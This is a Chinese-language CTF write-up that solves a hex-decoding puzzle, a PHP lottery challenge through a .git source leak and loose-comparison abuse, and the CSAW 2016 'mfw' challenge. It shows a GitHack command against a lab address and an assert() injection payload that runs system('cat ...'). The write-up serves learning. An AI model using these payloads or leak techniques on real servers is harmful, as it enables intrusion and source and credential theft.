CTF題目記錄4(git泄露)

掀桌子

菜狗截獲了一份報文如下c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2,生氣地掀翻了桌子(╯°□°)╯︵ ┻━┻

發現只有數字0-9 a-f 考慮爲16進制
2位一組轉ASCII
注意-128 讓所有的數值都落在ascii範圍內0-127

k="c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2"
for i in range(0,len(k),2):
    hex=k[i:i+2]
    print(chr(int(hex,16)-128),end='')

Hi, FreshDog! The flag is: hjzcydjzbjdcjkzkcugisdchjyjsbdfr

lottery

(git泄露,代碼審計 php弱類型)

掃了一下目錄

[301] => .git
[200] => .git/HEAD
[200] => .git/description
[200] => .git/config
[200] => .git/index
[200] => robots.txt
[200] => index.php
[200] => register.php
[200] => .git/config
[200] => register.php
[200] => config.php
[200] => /config.php

(還有一種方法是robots.txt)
發現有git泄露可以通過githack拿到源碼(githack :.git泄露利用工具)
GitHack.py http://124.126.19.106:52112/.git/

Git信息泄露的危害很大,滲透測試人員、攻擊者,可直接從源碼獲取敏感配置信息(如:郵箱,數據庫),也可以進一步審計代碼,挖掘文件上傳、SQL注射等安全漏洞

漏洞出現在api.php中以下代碼(顯然我要看一下wp…)

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){   //php弱類型漏洞
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

在這裏插入圖片描述
(比較的頁面在api.php)
傳入numbers
根據same_count的值來看你中了幾等獎

for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){   //php弱類型漏洞
			$same_count++;
		}
	}

利用php弱類型漏洞 任意值與true相等,改包,多次發包即可獲得$$$
在這裏插入圖片描述
這大概就是中獎的感覺
攢夠以後去買flag啦

關於git總結和補題

正在找正在找

1.Git常見的利用(轉載)

.git/index中會緩存git add的文件,這裏在沒有commit的情況下,也是存在的
https://github.com/lijiejie/GitHack lijiejie的這個就是獲取的這個
.git/refs/heads/master 記錄了master的commit的hash,由此可以解析出這個commit的所有文件
.git/logs/HEAD其中存儲了git的log信息,可以找到歷史的commit項
.git/refs/stash 工作進度的臨時保存
最後說一個pack的問題,這個好像還沒看見有ctf中考到,這裏也做了恢復
.git/info/packs packs文件提取恢復

mfw

攻防世界-csaw-ctf-2016-quals
同上面的題,爲git源碼泄露+代碼審計+命令執行漏洞 利用GitHack
index.php

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

assert() 檢查一個斷言是否爲 FALSE
strpos() 函數查找字符串在另一字符串中第一次出現的位置。如果沒有找到則返回False
file_exists() 函數檢查文件或目錄是否存在。
assert()函數會將括號中的字符當成代碼來執行,並返回true或false。

file爲可控的參數,strpos()過濾了…(也就是不能出現返回上一級目錄這樣的,把路徑寫完整了) 在file參數處進行注入,') or system('cat ./templates/flag.php');//
//用於註釋 ')閉合前面的語句
在這裏插入圖片描述
題目中的一些hint:
下載下來的git源碼
在這裏插入圖片描述
flag.php放在templates文件夾下 暗示了文件的路徑

選自評論區的一些問題:
Q:爲什麼下載下來的源碼中,flag.php裏沒有內容,通過cat查看就能獲得?
A:下載的源碼在.git/下,cat查看的在templates/下,這是兩個文件

命令執行漏洞

原因:未對用戶輸入做嚴格檢查過濾,導致用戶輸入的參數當做命令來執行
某些函數未對用戶控制的參數進行過濾,則可能存在遠程命令執行漏洞:
eval() assert()

  • 系統命令執行:system()
  • 執行運算符 反引號 php把反引號中的內容作爲shell命令來執行,並將其輸出信息返回
  • eg$output='ls -al'////顯示當前目錄下的所有文件及文件夾包括隱藏的文件和文件夾等的詳細信息
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章